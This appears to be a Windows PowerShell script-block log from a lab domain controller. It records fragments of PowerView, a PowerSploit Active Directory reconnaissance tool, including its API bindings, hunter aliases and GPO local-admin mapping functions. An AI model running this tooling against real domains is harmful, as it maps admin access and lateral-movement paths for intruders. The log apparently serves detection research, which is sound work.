4104132150x02372886Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local4141 = field 0 UInt32
State = field 1 $WTSConnectState
SessionId = field 2 UInt32
pSessionName = field 3 String -MarshalAs @('LPWStr')
pHostName = field 4 String -MarshalAs @('LPWStr')
pUserName = field 5 String -MarshalAs @('LPWStr')
pDomainName = field 6 String -MarshalAs @('LPWStr')
pFarmName = field 7 String -MarshalAs @('LPWStr')
}
# the particular WTSQuerySessionInformation result structure
$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
AddressFamily = field 0 UInt32
Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
}
# the NetShareEnum result structure
$SHARE_INFO_1 = struct $Mod PowerView.ShareInfo @{
Name = field 0 String -MarshalAs @('LPWStr')
Type = field 1 UInt32
Remark = field 2 String -MarshalAs @('LPWStr')
}
# the NetWkstaUserEnum result structure
$WKSTA_USER_INFO_1 = struct $Mod PowerView.LoggedOnUserInfo @{
UserName = field 0 String -MarshalAs @('LPWStr')
LogonDomain = field 1 String -MarshalAs @('LPWStr')
AuthDomains = field 2 String -MarshalAs @('LPWStr')
LogonServer = field 3 String -MarshalAs @('LPWStr')
}
# the NetSessionEnum result structure
$SESSION_INFO_10 = struct $Mod PowerView.SessionInfo @{
CName = field 0 String -MarshalAs @('LPWStr')
UserName = field 1 String -MarshalAs @('LPWStr')
Time = field 2 UInt32
IdleTime = field 3 UInt32
}
# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
SidTypeUser = 1
SidTypeGroup = 2
SidTypeDomain = 3
SidTypeAlias = 4
SidTypeWellKnownGroup = 5
SidTypeDeletedAccount = 6
SidTypeInvalid = 7
SidTypeUnknown = 8
SidTypeComputer = 9
}
# the NetLocalGroupEnum result structure
$LOCALGROUP_INFO_1 = struct $Mod LOCALGROUP_INFO_1 @{
lgrpi1_name = field 0 String -MarshalAs @('LPWStr')
lgrpi1_comment = field 1 String -MarshalAs @('LPWStr')
}
# the NetLocalGroupGetMembers result structure
$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
lgrmi2_sid = field 0 IntPtr
lgrmi2_sidusage = field 1 $SID_NAME_USE
lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
}
# enums used in DS_DOMAIN_TRUSTS
$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
IN_FOREST = 1
DIRECT_OUTBOUND = 2
TREE_ROOT = 4
PRIMARY = 8
NATIVE_MODE = 16
DIRECT_INBOUND = 32
} -Bitfield
$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
DOWNLEVEL = 1
UPLEVEL = 2
MIT = 3
DCE = 4
}
$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
NON_TRANSITIVE = 1
UPLEVEL_ONLY = 2
FILTER_SIDS = 4
FOREST_TRANSITIVE = 8
CROSS_ORGANIZATION = 16
WITHIN_FOREST = 32
TREAT_AS_EXTERNAL = 64
}
# the DsEnumerateDomainTrusts result structure
$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
DnsDomainName = field 1 String -MarshalAs @('LPWStr')
Flags = field 2 $DsDomainFlag
ParentIndex = field 3 UInt32
TrustType = field 4 $DsDomainTrustType
TrustAttributes = field 5 $DsDomainTrustAttributes
DomainSid = field 6 IntPtr
DomainGuid = field 7 Guid
}
# used by WNetAddConnection2W
$NETRESOURCEW = struct $Mod NETRESOURCEW @{
dwScope = field 0 UInt32
dwType = field 1 UInt32
dwDisplayType = field 2 UInt32
dwUsage = field 3 UInt32
lpLocalName = field 4 String -MarshalAs @('LPWStr')
lpRemoteName = field 5 String -MarshalAs @('LPWStr')
lpComment = field 6 String -MarshalAs @('LPWStr')
lpProvider = field 7 String -MarshalAs @('LPWStr')
}
# all of the Win32 API functions we need
$FunctionDefinitions = @(
(func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
(func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
(func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
(func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
(func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
(func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
(func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
(func advapi32 LogonUser ([Bool]) @([String], [String], [String], [UInt32], [UInt32], [IntPtr].MakeByRefType()) -SetLastError),
(func advapi32 ImpersonateLoggedOnUser ([Bool]) @([IntPtr]) -SetLastError),
(func advapi32 RevertToSelf ([Bool]) @() -SetLastError),
(func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
(func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
(func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
(func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
(func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])),
(func Mpr WNetAddConnection2W ([Int]) @($NETRESOURCEW, [String], [String], [UInt32])),
(func Mpr WNetCancelConnection2 ([Int]) @([String], [Int], [Bool])),
(func kernel32 CloseHandle ([Bool]) @([IntPtr]) -SetLastError)
)
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
$Netapi32 = $Types['netapi32']
$Advapi32 = $Types['advapi32']
$Wtsapi32 = $Types['wtsapi32']
$Mpr = $Types['Mpr']
$Kernel32 = $Types['kernel32']
Set-Alias Get-IPAddress Resolve-IPAddress
Set-Alias Convert-NameToSid ConvertTo-SID
Set-Alias Convert-SidToName ConvertFrom-SID
Set-Alias Request-SPNTicket Get-DomainSPNTicket
Set-Alias Get-DNSZone Get-DomainDNSZone
Set-Alias Get-DNSRecord Get-DomainDNSRecord
Set-Alias Get-NetDomain Get-Domain
Set-Alias Get-NetDomainController Get-DomainController
Set-Alias Get-NetForest Get-Forest
Set-Alias Get-NetForestDomain Get-ForestDomain
Set-Alias Get-NetForestCatalog Get-ForestGlobalCatalog
Set-Alias Get-NetUser Get-DomainUser
Set-Alias Get-UserEvent Get-DomainUserEvent
Set-Alias Get-NetComputer Get-DomainComputer
Set-Alias Get-ADObject Get-DomainObject
Set-Alias Set-ADObject Set-DomainObject
Set-Alias Get-ObjectAcl Get-DomainObjectAcl
Set-Alias Add-ObjectAcl Add-DomainObjectAcl
Set-Alias Invoke-ACLScanner Find-InterestingDomainAcl
Set-Alias Get-GUIDMap Get-DomainGUIDMap
Set-Alias Get-NetOU Get-DomainOU
Set-Alias Get-NetSite Get-DomainSite
Set-Alias Get-NetSubnet Get-DomainSubnet
Set-Alias Get-NetGroup Get-DomainGroup
Set-Alias Find-ManagedSecurityGroups Get-DomainManagedSecurityGroup
Set-Alias Get-NetGroupMember Get-DomainGroupMember
Set-Alias Get-NetFileServer Get-DomainFileServer
Set-Alias Get-DFSshare Get-DomainDFSShare
Set-Alias Get-NetGPO Get-DomainGPO
Set-Alias Get-NetGPOGroup Get-DomainGPOLocalGroup
Set-Alias Find-GPOLocation Get-DomainGPOUserLocalGroupMapping
Set-Alias Find-GPOComputerAdmin Get-DomainGPOComputerLocalGroupMapping
Set-Alias Get-LoggedOnLocal Get-RegLoggedOn
Set-Alias Invoke-CheckLocalAdminAccess Test-AdminAccess
Set-Alias Get-SiteName Get-NetComputerSiteName
Set-Alias Get-Proxy Get-WMIRegProxy
Set-Alias Get-LastLoggedOn Get-WMIRegLastLoggedOn
Set-Alias Get-CachedRDPConnection Get-WMIRegCachedRDPConnection
Set-Alias Get-RegistryMountedDrive Get-WMIRegMountedDrive
Set-Alias Get-NetProcess Get-WMIProcess
Set-Alias Invoke-ThreadedFunction New-ThreadedFunction
Set-Alias Invoke-UserHunter Find-DomainUserLocation
Set-Alias Invoke-ProcessHunter Find-DomainProcess
Set-Alias Invoke-EventHunter Find-DomainUserEvent
Set-Alias Invoke-ShareFinder Find-DomainShare
Set-Alias Invoke-FileFinder Find-InterestingDomainShareFile
Set-Alias Invoke-EnumerateLocalAdmin Find-DomainLocalGroupMember
Set-Alias Get-NetDomainTrust Get-DomainTrust
Set-Alias Get-NetForestTrust Get-ForestTrust
Set-Alias Find-ForeignUser Get-DomainForeignUser
Set-Alias Find-ForeignGroup Get-DomainForeignGroupMember
Set-Alias Invoke-MapDomainTrust Get-DomainTrustMapping
Set-Alias Get-DomainPolicy Get-DomainPolicyData
d123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372872Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2741s against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping
Find all user/group -> machine relationships where the user/group is a member
of the local administrators group on target machines.
.EXAMPLE
Get-DomainGPOUserLocalGroupMapping -Identity dfm -Domain dev.testlab.local
Find all computers that dfm user has local administrator rights to in
the dev.testlab.local domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOUserLocalGroupMapping -Credential $Cred
.OUTPUTS
PowerView.GPOLocalGroupMapping
A custom PSObject containing any target identity information and what local
group memberships they're a part of through GPO correlation.
.LINK
http://www.harmj0y.net/blog/redteaming/where-my-admins-at-gpo-edition/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GPOUserLocalGroupMapping')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
$TargetSIDs = @()
if ($PSBoundParameters['Identity']) {
$TargetSIDs += Get-DomainObject @CommonArguments -Identity $Identity | Select-Object -Expand objectsid
$TargetObjectSID = $TargetSIDs
if (-not $TargetSIDs) {
Throw "[Get-DomainGPOUserLocalGroupMapping] Unable to retrieve SID for identity '$Identity'"
}
}
else {
# no filtering/match all
$TargetSIDs = @('*')
}
if ($LocalGroup -match 'S-1-5') {
$TargetLocalSID = $LocalGroup
}
elseif ($LocalGroup -match 'Admin') {
$TargetLocalSID = 'S-1-5-32-544'
}
else {
# RDP
$TargetLocalSID = 'S-1-5-32-555'
}
if ($TargetSIDs[0] -ne '*') {
ForEach ($TargetSid in $TargetSids) {
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Enumerating nested group memberships for: '$TargetSid'"
$TargetSIDs += Get-DomainGroup @CommonArguments -Properties 'objectsid' -MemberIdentity $TargetSid | Select-Object -ExpandProperty objectsid
}
}
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Target localgroup SID: $TargetLocalSID"
Write-Verbose "[Get-DomainGPOUserLocalGroupMapping] Effective target domain SIDs: $TargetSIDs"
$GPOgroups = Get-DomainGPOLocalGroup @CommonArguments -ResolveMembersToSIDs | ForEach-Object {
$GPOgroup = $_
# if the locally set group is what we're looking for, check the GroupMembers ('members') for our target SID
if ($GPOgroup.GroupSID -match $TargetLocalSID) {
$GPOgroup.GroupMembers | Where-Object {$_} | ForEach-Object {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $_) ) {
$GPOgroup
}
}
}
# if the group is a 'memberof' the group we're looking for, check GroupSID against the targt SIDs
if ( ($GPOgroup.GroupMemberOf -contains $TargetLocalSID) ) {
if ( ($TargetSIDs[0] -eq '*') -or ($TargetSIDs -Contains $GPOgroup.GroupSID) ) {
$GPOgroup
}
}
} | Sort-Object -Property GPOName -Unique
$GPOgroups | Where-Object {$_} | ForEach-Object {
$GPOname = $_.GPODisplayName
$GPOguid = $_.GPOName
$GPOPath = $_.GPOPath
$GPOType = $_.GPOType
if ($_.GroupMembers) {
$GPOMembers = $_.GroupMembers
}
else {
$GPOMembers = $_.GroupSID
}
$Filters = $_.Filters
if ($TargetSIDs[0] -eq '*') {
# if the * wildcard was used, set the targets to all GPO members so everything it output
$TargetObjectSIDs = $GPOMembers
}
else {
$TargetObjectSIDs = $TargetObjectSID
}
# find any OUs that have this GPO linked through gpLink
Get-DomainOU @CommonArguments -Raw -Properties 'name,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
if ($Filters) {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname,distinguishedname' -SearchBase $_.Path | Where-Object {$_.distinguishedname -match ($Filters.Value)} | Select-Object -ExpandProperty dnshostname
}
else {
$OUComputers = Get-DomainComputer @CommonArguments -Properties 'dnshostname' -SearchBase $_.Path | Select-Object -ExpandProperty dnshostname
}
if ($OUComputers) {
if ($OUComputers -isnot [System.Array]) {$OUComputers = @($OUComputers)}
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.Properties.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $OUComputers
$GPOLocalGroupMapping.PSObject.TypeNames.Insert(0, 'PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
# find any sites that have this GPO linked through gpLink
Get-DomainSite @CommonArguments -Properties 'siteobjectbl,distinguishedname' -GPLink $GPOGuid | ForEach-Object {
ForEach ($TargetSid in $TargetObjectSIDs) {
$Object = Get-DomainObject @CommonArguments -Identity $TargetSid -Properties 'samaccounttype,samaccountname,distinguishedname,objectsid'
$IsGroup = @('268435456','268435457','536870912','536870913') -contains $Object.samaccounttype
$GPOLocalGroupMapping = New-Object PSObject
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectName' $Object.samaccountname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectDN' $Object.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ObjectSID' $Object.objectsid
$GPOLocalGroupMapping | Add-Member Noteproperty 'IsGroup' $IsGroup
$GPOLocalGroupMapping | Add-Member Noteproperty 'Domain' $Domain
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPODisplayName' $GPOname
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOGuid' $GPOGuid
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOPath' $GPOPath
$GPOLocalGroupMapping | Add-Member Noteproperty 'GPOType' $GPOType
$GPOLocalGroupMapping | Add-Member Noteproperty 'ContainerName' $_.distinguishedname
$GPOLocalGroupMapping | Add-Member Noteproperty 'ComputerName' $_.siteobjectbl
$GPOLocalGroupMapping.PSObject.TypeNames.Add('PowerView.GPOLocalGroupMapping')
$GPOLocalGroupMapping
}
}
}
}
}
function Get-DomainGPOComputerLocalGroupMapping {
<#
.SYNOPSIS
Takes a computer (or GPO) object and determines what users/groups are in the specified
local group for the machine through GPO correlation.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainGPOLocalGroup
.DESCRIPTION
This function is the inverse of Get-DomainGPOUserLocalGroupMapping, and finds what users/groups
are in the specified local group for a target machine through GPO correlation.
If a -ComputerIdentity is specified, retrieve the complete computer object, attempt to
determine the OU the computer is a part of. Then resolve the computer's site name with
Get-NetComputerSiteName and retrieve all sites object Get-DomainSite. For those results, attempt to
enumerate all linked GPOs and associated local group settings with Get-DomainGPOLocalGroup. For
each resulting GPO group, resolve the resulting user/group name to a full AD object and
return the results. This will return the domain objects that are members of the specified
-LocalGroup for the given computer.
Otherwise, if -OUIdentity is supplied, the same process is executed to find linked GPOs and
localgroup specifications.
.PARAMETER ComputerIdentity
A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
or a dns host name (e.g. windows10.testlab.local) for the computer to identity GPO local group mappings for.
.PARAMETER OUIdentity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a) for the OU to identity GPO local group mappings for.
.PARAMETER LocalGroup
The local group to check access against.
Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555),
or a custom local SID. Defaults to local 'Administrators'.
.PARAMETER Domain
Specifies the domain to enumerate GPOs for, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -ComputerName WINDOWS3.testlab.local
Finds users who have local admin rights over WINDOWS3 through GPO correlation.
.EXAMPLE
Get-DomainGPOComputerLocalGroupMapping -Domain dev.testlab.local -ComputerName WINDOWS4.dev.testlab.local -LocalGroup RDP
Finds users who have RDP rights over WINDOWS4 through GPO correlation.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPOComputerLocalGroupMapping -Credential $Cred -ComputerIdentity SQL.testlab.local
.OUTPUTS
PowerView.GGPOComputerLocalGroupMember
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GGPOComputerLocalGroupMember')]
[CmdletBinding(DefaultParameterSetName = 'ComputerIdentity')]
Param(
[Parameter(Position = 0, ParameterSetName = 'ComputerIdentity', Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ComputerName', 'Computer', 'DistinguishedName', 'SamAccountName', 'Name')]
[String]
$ComputerIdentity,
[Parameter(Mandatory = $True, ParameterSetName = 'OUIdentity')]
[Alias('OU')]
[String]
$OUIdentity,
[String]
[ValidateSet('Administrators', 'S-1-5-32-544', 'RDP', 'Remote Desktop Users', 'S-1-5-32-555')]
$LocalGroup = 'Administrators',
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$CommonArguments = @{}
if ($PSBoundParameters['Domain']) { $CommonArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $CommonArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $CommonArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $CommonArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $CommonArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $CommonArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $CommonArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['ComputerIdentity']) {
$Computers = Get-DomainComputer @CommonArguments -Identity $ComputerIdentity -Properties 'distinguishedname,dnshostname'
if (-not $Computers) {
throw "[Get-DomainGPOComputerLocalGroupMapping] Computer $ComputerIdentity not found. Try a fully qualified host name."
}
ForEach ($Computer in $Computers) {
$GPOGuids = @()
# extract any GPOs linked to this computer's OU through gpLink
$DN = $Computer.distinguishedname
$OUIndex = $DN.IndexOf('OU=')
if ($OUIndex -gt 0) {
$OUName = $DN.SubString($OUIndex)
}
if ($OUName) {
$GPOGuids += Get-DomainOU @CommonArguments -SearchBase $OUName -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
# extract any GPOs linked to this computer's site through gpLink
Write-Verbose "Enumerating the sitename for: $($Computer.dnshostname)"
$ComputerSite = (Get-NetComputerSiteName -ComputerName $Computer.dnshostname).SiteName
if ($ComputerSite -and ($ComputerSite -notmatch 'Error')) {
$GPOGuids += Get-DomainSite @CommonArguments -Identity $ComputerSite -LDAPFilter '(gplink=*)' | ForEach-Object {
Select-String -InputObject $_.gplink -Pattern '(\{){0,1}[0-9a-fA-F]{8}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{4}\-[0-9a-fA-F]{12}(\}){0,1}' -AllMatches | ForEach-Object {$_.Matches | Select-Object -ExpandProperty Value }
}
}
# process any GPO local group settings from the GPO GUID set
$GPOGuids | Get-DomainGPOLocalGroup @CommonArguments | Sort-Object -Property GPOName -Unique | ForEach-Object {
$GPOGrd123799e-550e-4321-b379-ad52712981c9C:\Tools\PowerSploit\Recon\PowerView.ps1
4104132150x02372871Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2641 $Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$GPO
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
}
}
$GPOSearcher.dispose()
}
}
}
}
function Get-DomainGPOLocalGroup {
<#
.SYNOPSIS
Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
or Group Policy preferences. Also return their user membership mappings, if they exist.
Author: @harmj0y
License: BSD 3-Clause
Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID
.DESCRIPTION
First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
group membership is set through Group Policy Preferences groups.xml files. For any
GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
section data is processed if present. Any found Groups.xml files are parsed with
